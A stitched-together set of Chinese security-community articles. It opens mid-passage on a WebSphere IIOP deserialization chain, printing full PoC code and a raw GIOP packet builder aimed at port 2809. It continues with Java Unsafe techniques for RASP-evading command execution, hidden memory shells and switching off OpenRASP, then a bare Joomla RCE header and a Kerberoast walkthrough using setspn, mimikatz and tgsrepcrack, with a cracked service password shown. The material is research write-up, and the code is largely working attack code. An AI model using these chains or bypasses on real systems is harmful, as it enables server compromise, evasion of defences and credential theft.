对象，放到返回值列表中，在一次遍历的过程中，先是找到 `input`，匹配不上再找output，如果都匹配不上就报错，到这里我们看到了第三个限制，就是指定了
`parameterOrder` ，那么对于与其相匹配的 `operation` 中的 `message` 中定义的参数名一定要和
`parameterOrder` 中的一致，至于 `returnPart` 这个属性有无都行
然后就是遍历所有的构造方法，匹配参数类型
先是参数个数要一致，一致后，类型要一致或者 `WSDL` 中定义的参数类型要是构造函数中参数的子类
第二个找实例方法，我们最终的目的，找参数类型的过程大致和上面一致，不过在`getMethodReturnClass()`这里会判断
`returnPart`，没有的话没关系，有的话还是会有些限制
然后就判断 `fieldJavaOperationModel` 中的方法 `name`
在不在我们指定的那个类的实例方法里面，到这里，已经差不多可以看出这个框架的 `javabding` 的特点了，当前正在执行的方法的名字只是限制了
`WSDL` 中一个抽象的 `Operation` 名字，真正执行的实例方法是在 `<java:operation methodName="xxxx"
....>` 中指定的
后面就是匹配参数个数
接着是返回值，这里返回值都是不为空才判断，所以对于为了执行任意方法为目的来说，我们甚至可以不指定 `returnPart`
后面的过滤条件都和构造方法一样，最终返回的就是指定名字的方法
最后看下有定义 `return` 时真正执行方法的调用 `executeRequestResponseOperation`
后面还有一些特点就不说了，我们直接看下最终执行实例方法的地方，如果把返回值相关的定义去掉，将会连类型转换错误都没有，这就非常的棒
## 解析到序列化
以下为漏洞精简版本漏洞序列化栈：
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBObject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)
从 `WSIFPort_EJB` 作为开始起点，
显而易见，两个字段是 `transient` 的，但是在序列化时手动写进去了，所以反序列时也手动还原回来了
先看下实现了 `WAS` 中实现了 `Handler` 的类，一共就四个，这次 `EntityHandle` 是主角
这个类的字段如下
`getEJBObject() this.object==null` 的条件肯定可以满足了
`initialContextProperties` 和 `homeJNDIName` 都是可以控制的，正常情况下肯定会想到`jndi` 注入
可惜 `WAS` 默认安装时的 `JDK` 版本已经对基于 `JNDI` 做限制了,而且启动时会给 `ObjectFactoryBuilder` 赋值，连
`getObjectFactoryFromReference` 都到不了
其中在 `this.getObjectInstanceUsingObjectFactoryBuilders` 中最后会进入到的会是
`WASObjectFactoryBuilder` 这个类
这里并不会对 `ClassFactory` 远程加载，但是会根据类名实例化我们指定的工厂类，然后调用 `getObjectInstance` ,基于高版本
`JDK` 的 `jndi` 注入利用方式，就是去寻找有没有这样的 `ObjectFactory` ，它的 `getObjectInstance`
里的操作能直接或者间接地结合后续操作来造成漏洞
`org.apache.wsif.naming.WSIFServiceObjectFactory` 工厂类的 `getObjectInstance`
就是开头介绍的 `WSIF API`几步，里面所有参数都是可以控制的，因为当 `lookup` 到这里的时候，就是为了 `decode` 我们构造的
`reference` 对象。
仔细看一下，如果我们指定 `renferce` 的 `className` 为 `WSIFServiceStubRef.class` 的时候，回顾开头对
`WSIF API` 的 `4` 个步骤，会发现除了调用方法名以及其参数之外，里面用到的参数都再这里了，这意味着如果这个代理对象从 `lookup`
这里出去后，对这个对象有任何的接口方法调用，我们都是可以根据 `WSIF` 的 `java binding` 来控制其真正执行方法的对象以及要执行的方法的
再看下 `lookup` 后的流程，是将 `lookup` 回来的对象转换成 `EJBHome` ,然后调用 `findFindByPrimaryKey`
方法
`EJBHome` 这个接口并没有 `findFindByPrimaryKey` 这个方法，所以需要去找它的子类，`CounterHome` 就是其中一个
现在让我们看一下利用链要怎么构造，由于 `EntityHandle` 这个类只实现了 `Handler` 接口，没有实现 `EJBObject`
接口，我们可以自行实现 `EJBObject` 接口，让其返回
我们特定构造的 `EntityHandle` 对象绑定我们的RMI地址去进行 `jndi` 注入
赋值给 `WSIFPort_EJB` 即可
然后起个 `RMI` 绑定一下我们构造的 `WSIF Reference`
以下为互联网公开的漏洞 POC 利用详细代码：
public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList arrayList = new ArrayList();
arrayList.add(serviceContext);
setConnectionContexts.invoke(connection, arrayList);
context.list("");
}
## 一些思考
`WAS` 默认对 `RMI/IIOP` 开启了 `SSL` 和 `Basic` 认证，前面为了聚焦漏洞我把 `WAS` 的 `SSL`
关了，如果没关，又没指定 `SSL` 配置文件的话，直接用互联网中公开的漏洞利用方案在设置 `ServiceContext`
时相关的代码会直接报错抛出异常。
而且开启了也不能直接打，因为还有个 `BasicAuth` ，会弹出用户名密码验证框，不知道账户密码的话，敲一下回车也能过去
可以抓包和 Debug 一下源码看一下为什么会这样，在 `WsnInitCtx` 上下文中 `list` 或者 `lookup` 的实现是，先去发个
`locateRequset` 去 `BooStrap` 那获取 `NamingService` 的地址，拿到 `NamingService` 的
`IOR` 后再发送 `Request` 请求，如果 `WAS` 没启用 `SSL` 的话，在服务器返回的 `IOR Profile` 中是会带有端口指明
`NamingService` 的端口。
如果 `BootStrap` 返回的 `IOR` 只带有 `Host` ，端口为 0，但是在返回的 `IOR` 中会有 `SSL` 的相关内容，则说明是要走
`SSL` 端口的，如果我们的客户端没配置 `SSL` 属性的话，那他是不会走 `SSL` 连接的，而是直接连接 `host:0`，肯定连不上
问题就出在这里，因为本质上，要进入到本次的反序列化调用点，根本是不需要一个 `LocateRequst` 的，我们可以 `debug` 看一下，在
`WAS` 的服务端在接受 `iiop` 请求时，会先经过几个拦截器的处理，默认情况下一共`7` 个拦截器
取决于 `Corba` 客户端的请求类型，执行不同的逻辑
private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
switch(var2.state) {
case 8:
var1.receive_request_service_contexts(var2);
break;
case 9:
var1.receive_request(var2);
break;
case 10:
var1.send_reply(var2);
break;
case 11:
var1.send_exception(var2);
break;
case 12:
var1.send_other(var2);
break;
default:
throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
}
}
其中只要是 `Request` 请求，就能进入到 `TxServerInterceptor` 的 `receive_request`，进行后面的
`ServiceContext` 处理操作，触发本次的反序化过程
所以想写个实战能用的 POC 或者 EXP 的话，直接用 WAS 的 `JNDI API` 肯定不行的，可以再找一下可以直接发 `Request` 和设置
`ServiceContext` 的 `API` 。或者考虑手动构造一下数据包，默认端口没改的情况下，直接打2809或者9100,至于怎么构造，可以参考一下
[GIOP规范](https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf) 和
`JDK` 或者 `IBM` 的那套 `corba api` ，下面演示一下大致的构造过程
直接用 `Oracle JDK` 的 原生 `corba API` 请求一下 `2809`，就会发现客户端发的是一个带有 `ServiceContext`
的 `Request` 请求的
参照 GIOP 规范，整个 GIOP 头是固定的 12 个字节，其中第 8 个字节是请求类型
再参照一下这个 API 是怎么发包的，先是十二个字节的 GIOP 头
然后是一个固定的 4 字节 `ServiceContext` 的数目
后面就是 `ServiceContext` 格式也是固定的
写完 `ServiceContext` 后，是下面这个格式
所以，大致的验证代码如下：
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Socket socket = new Socket();
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
socket.connect(inetSocketAddress,0);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
OutputStream outputStream = socket.getOutputStream();
EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
cdrOutputStream.write_long(1195986768);
cdrOutputStream.write_octet((byte)1);//GIOPMajor
cdrOutputStream.write_octet((byte)0);//GIOPMinor
cdrOutputStream.write_octet((byte)0);//flags
cdrOutputStream.write_octet((byte)0);//type //request
Object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
cdrOutputStream.write_long(1);//ServiceContext size
CDROutputStream outputStream2 = ORB.createCDROutputStream();
outputStream2.putEndian();
Any any = ORB.init().create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream2, propagationContext);
byte[] result = outputStream2.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
serviceContext.write(cdrOutputStream);
int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
System.out.println(writeOffset2);
cdrOutputStream.write_long(6);//requestID
cdrOutputStream.write_octet((byte)1);//responseExpeced
ObjectKey objectKey = new ObjectKey("NameService".getBytes());
cdrOutputStream.write_long(objectKey.length());
cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
cdrOutputStream.write_long(3);
cdrOutputStream.write_octet_array("get".getBytes(),0,3);
cdrOutputStream.write_long(0);
cdrOutputStream.write_long(0);
int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
cdrOutputStream.getByteBuffer().flushTo(outputStream);
System.in.read();
}
结果
## 参考
* <https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ>
* <https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf>
* <https://ws.apache.org/wsif/>
* <https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere>
* * * | 社区文章 |
**作者：Glassy**
**原文链接：<https://g1asssy.com/2021/12/09/unsafe/>**
## UnSafe简介
### 基础概念
java和C语言相比有一个很大的区别，便是java没有指针，无需进行内存空间的操作（其中包含了内存的分配、内存的回收等等），这样大大简化了Java语言编写的难度，但与此同时，也导致Java语言失去了很多的灵活性。而UnSafe类的出现，便是为了弥补这种便利性的缺失，使Java也具备内存管理能力，但一旦操作不当，很容易造成内存泄漏等问题，这也是这个class给定义为UnSafe的原因。
### 关键API
下面给出的是笔者觉得比较好用的利用的API。
//将引用值存储到给定的Java变量中，根据变量的类型不同还有putBoolean、putInt等等
public native void putObject(Object o, long offset, Object x);
//返回给定的非静态属性在它的类的存储分配中的位置，往往和putXXX一起使用
public native long objectFieldOffset(Field f);
//返回给定的静态属性在它的类的存储分配中的位置，往往和putXXX一起使用
public native long staticFieldOffset(Field f);
//生产VM Anonymous Class，注意这个java中常说的匿名类并不是同一概念，该方法的出现是为了为java提供动态编译特性，在Lambda表达式代码中使用较多，由该函数生产的Class有一个很重要的特性：这个类被创建之后并不会丢到上SystemDictonary里，也就是说我们通过正常的类查找，比如Class.forName等api是无法去查到这个类是否被定义过的。
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
//通过Class对象创建一个类的实例，不需要调用其构造函数、初始化代码、JVM安全检查等等。同时，它抑制修饰符检测，也就是即使构造器是private修饰的也能通过此方法实例化。
public native Object allocateInstance(Class<?> cls) throws InstantiationException;
### 如何获取UnSafe
Unsafe类使用了单例模式，需要通过一个静态方法getUnsafe()来获取。但Unsafe类做了限制，如果是普通的调用的话，它会抛出一个SecurityException异常；只有由主类加载器加载的类才能调用这个方法。
目前大部分UnSafe的使用者都会使用反射的方式来获取UnSafe的实例，代码如下：
public static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
## 实战讲解
### 更深层的命令执行
随着RASP的发展，JNI的利用不断的被提上讨论范围，就命令执行这种利用而言，外部流出的大部分JNI的利用都是需要依赖第三方库的，但实际上，就linux来看，
** _Runtime.getRuntime().exec()_** 本身的最底层就是一个JNI函数，
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)
那么为什么我们讨论JNI利用的时候，不去直接反射调用forkAndExec函数呢，很重要的一个问题就是， ** _这个函数不是静态方法，需要生成类实例_**
，我们就需要往上层去调用UNIXProcess的构造方法去生成实例，而这样这种利用方式便不再是JNI的调用了，因为你调用了JAVA层的构造函数，这便是RASP产品可以触及到的领域了，细心观察也能发现目前大部分RASP产品都把命令执行功能的检测放到了UNIXProcess的构造方法上。
但是有了UnSafe的allocateInstance函数，一切就会变得简单起来，它可以在不调用UNIXProcess构造方法的前提下生成实例，并且由于allocateInstance本身也是native函数，那么实际上我们整个命令执行的关键点上都是通过JNI来完成了，可以完美避开RASP的防御，下面给出代码示例，
String cmd = "open /System/Applications/Calculator.app/";
int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);
### 更隐蔽的内存马
内存马问题一向是安全产品中一个比较头疼的问题，一旦再在通信流量上进行了加密处理，那么无论是WAF（加密流量不可解）还是主机防御（木马存在于内存中不落盘）产品都比较难以去发现它。
但随着安全圈大佬们的深入研究，渐渐还是给出了一个较为可行的方案：通过Java
Instrumentation进入到JVM内存之中，对JVM所有的加载的可能是木马的Class进行分析，一旦匹配到了较为明显的内存马特征，便对内存中的这个Class进行删除或则还原。目前比较常见的内存马特征有以下几种：
1、class的名字是否包含常见的恶意类名称
2、加载该class的classloader是否是危险的classloader，如TransletClassLoader或apache becl的classloader等等。
3、该class是否有落盘 -----该条属于明显特征
4、class中是否包含命令执行的恶意代码
而通过defineAnonymousClass生成的VM Anonymous Class具备如下特征：
1、class名可以是已存在的class的名字，比如java.lang.File，即使如此也不会发生任何问题，java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。 ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class，往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class（多为lamada表达式生成），这种class均不会落盘，所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中，VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性
从现阶段内存马的检测模式为参考，可以发现VM Anonymous
Class的特性将会大大影响到它的检测，从而形成更加隐蔽且难以处理的内存马。下面给出一段生成VM Anonymous Class的示例代码，
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("java.lang.File");
//这里可以对内存马的class文件进行定制
byte[] data = ctClass.toBytecode();
Class memClass = getAnonymousMemShell(data);
Object memShellObj = memClass.newInstance();
//在这里可以把内存马的实例注入到内存中
String className = memClass.getName();
//可以打印一下className，发现其类名极具欺骗性
System.out.println(className);
//这里可以通过Class.forName尝试查找匿名类,会抛出异常
Class.forName(className);
}
public static Class getAnonymousMemShell(byte[] data){
Unsafe unsafe = Utils.getUnsafe();
return unsafe.defineAnonymousClass(File.class, data, null);
}
### 突破反射防御机制
近段时间，RASP攻防开始被不断聊起，关于RASP攻防，有一个基于反射的利用方式的提出具备十分强的杀伤性，其基本思路便是一旦攻击者拿到了一个代码执行权限，那么他便可以通过反射的方式取得RASP运行在内存中的开关变量（多为boolean或者AtomicBoolean类型），并把它由true修改为false，就可以使RASP得的防护完全失效。
**
_注意，开关变量只是其中一个最具代表性的思路，我们当然有更多的方法去破坏RASP的运行模式，如置空检测逻辑代码（如果RASP使用了js、lua等别的引擎），置空黑名单、添加白名单等_**
正是由于反射可能会造成较大的危害，不少RASP便有了恶意反射调用模块，jdk本身也有一个sun.reflect.Reflection来限制一些不安全的反射的调用，那么这个时候UnSafe模块便可以通过直接操作内存从而绕过代码层对于恶意反射调用的防御。示例代码如下，
反射修改openRASP的开关变量，将openRASP检测开关置为false，从而使openRASP完全失效。
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}
## 总结
由于UnSafe的大部分关键操作都是直接通过JNI去实现的，所以UnSafe的相关危险行为也都是RASP难以防护到的。而UnSafe相关的攻击代码目前也比较少，相关函数的指纹也不在大部分内容检测软件中，所以现阶段对于不少主机防御产品也能起到不小的作用。
最后在末尾附上一张UnSafe功能介绍图。
**_注：该图片系网上找的，未能发现图片源头，在此提前和作者道个歉。_**
* * * | 社区文章 |
# Joomla远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：乌云知识库
原文地址：<http://drops.wooyun.org/papers/11330>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# 【技术分享】内网安全之域服务账号破解实践
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[shuteer](http://bobao.360.cn/member/contribute?uid=1268998211)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x01引言**
****
对于国内的网络管理者而言，现有的网络安全防护手段大多强调对来自外部的主动攻击进行预防，检测以及处理，而授予内部主机更多的信任。但是，统计数字表明，相当多的安全事件是由内网用户有意或无意的操作造成的。为保护内网的安全，一些单
位将内网与外网物理隔离，或者将内部通过统一的网关接入外网，并在网关处架设防火墙、IPS、IDS等安全监控设备。尽管如上述所示的各类安全措施都得到了实现，众多管理者们却仍然头疼于泄密事件或其它各类内网安全事件的频繁发生，这就充分说明了内网安全维护的复杂性。所以很多企业会采取使用域来管理内部较为复杂的网络，
因为它可以安全集中管理，统一安全策略。
域控制器相当一个门卫，它包含了由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时，域控制器首先要鉴别这台电脑是否是属于这个域的，用户使用的登录账号和密码是否正确。如果正确则允许计算机登入这个域，使用该域内其有权限访问的任何资源，像文件服务器、打印服务器（也就是说域控制器仅起到一个验证作用，访问其他资源并不需要再跟域控制器扯上关系）;如果不正确则不允许
计算机登入，这时计算机将无法访问域内任何资源，这在一定程度上保护了企业网络 资源。
本文将从攻击者的角度出发，针对域服务账号的安全作出相关的安全探索与研究。
**0x02何为Kerberoast**
Kerberoast能够在不对目标系统发送任何数据的情况下用普通用户身份从活动目录中提取服务的账户凭证。因为人们总是喜欢设置弱口令，所以这种攻击经常能够成功。原因是：大多数服务账户的密码都和域的密码最短长度限制一样长（通常是10个或12个字符）,这意味着即使是采用暴力破解的方式，所花费的时间也不太可能超过密码过期时限。更何况有的服务账户甚至还没有设置密码过期时限。更好玩的是，大多数服务账户都有权限过大的问题，通常还是域管理员组的成员，有着对活动目录的全部权限（尽管有时候服务账户只需要修改某些特定对象的属性或者只需在特定服务上拥有管理权限）。
**知识点1** ：这种攻击对Windows系统内置账户不会成功，因为这类账户有着128位长的密码，这么长的密码不可能在短时间内破解出来。
攻击的步骤包括为目标的服务账户的服务器主体名称(Service Principle Name-SPN)请求一个Kerbero服务票据 (TGS)
。这里会采用一个有效的用户认证票据（TGT）来请求一个或几个运行在服务器上的目标服务票据。域控不会检测用户是否真正连接到了这些资源上(即使用户可能真的有权限访问)。域控会在活动目录中查找SPN并且用SPN关联的用户账户把票据进行加密，以此赋予用户访问服务的权限。请求的Kerbero服务票据的加密类型是
RC4_HMAC_MD5,
这意味着服务账户的NTLM密码哈希会被用来加密服务票据。所以Kerberoast能够通过尝试不同的NTLM哈希来解开kerberos票据，一旦票据被成功解开，它的密码也就到手了。
**知识点2** ：SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。 它由服务类、主机名和端口组成。 在使用 Kerberos
身份验证的网络中，必须在内置计算机帐户（如 NetworkService 或 LocalSystem）或用户帐户下为服务器注册 SPN。
对于内置帐户，SPN 将自动进行注册。 但是，如果在域用户帐户下运行服务，则必须为要使用的帐户手动注册 SPN。
**知识点3 ：**获得服务票据不需要提权，同时也不会发送数据到目标机器。
**0x03工具简介**
1.GetUserSPNs.vbs 或者GetUserSPNs.ps1
获取spn账号，在本文中获取使用的是系统默认的工具setspn（在域控制器上运行该工具必须具有域管理员身份）
2.mimikatz 获取用户密码工具
3.tgsrepcrack.py破解用户票据
4.密码字典
**0x04查看当前电脑的用户票据**
查看当前电脑的所有票据使用到的命令为klist。获取当前电脑登陆的票据可以直接使用klist来获取，具体如下图所示：
****
**0x05获取所有的域服务账号**
获取所有的域服务账号主要有三种方法，第一种是直接使用windows自带的setspn，第二种是使用vbs的脚本GetUserSPNs.vbs，第三者使用powershell的脚本GetUserSPNs.ps来获取。在本文中使用了第一种方法来获取所有的域服务账号，命令为setspn
-T DOMAINNAME -F -Q */*。
**0x06在本地获取域服务账号的票据**
在本机获取指定的域服务账号的票据 获取服务账号administrator的相关票据。命令如下：
PS C:> Add-Type -AssemblyName System.IdentityModel
PS C:> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
我们现在查看已经获取的用户帐号administrator的票据
**
**
**0x07获取所有的域服务账号的票据，比较复杂就不截图了**
PS C:> Add-Type -AssemblyName System.IdentityModel
**0x08导出所有域用户的票据**
在此基础上可以使用mimikatz工具从RAM中对所有的票据进行导出，具体使用到的命令如 下： ****
mimikatz # kerberos::list /export
**0x09破解获取的用户票据**
接着在KALI下离线使用tgsrepcrack.py对导出的票据进行暴力破解，具体操作如下：
使用的命令为：
tgsrepcrack.py -w wordlist.txt *.kirbi
root@kali:/home/kerberoast# python tgsrepcrack.py pass.txt 2-40a10000- Administrator@MSSQLSvc~antivirusserver.ppum.xxxxx.net-PPUM.xxxxx.NET.kirbi found password for ticket 0: good.net2007 File: 2-40a10000- Administrator@MSSQLSvc~antivirusserver.ppum.xxxxx.net-PPUM.xxxxx.NET.kirbi All tickets cracked!
很顺利，我们成功破解出了密码good.net2007。
**0x10对域进行深层次的渗透（略，等下文再续）**
The End.
欢迎各位的交流和批评指正！
Author: 椰树
QQ群: 282951544
微信公众号交流：杂术馆 | 社区文章 |
Subsets and Splits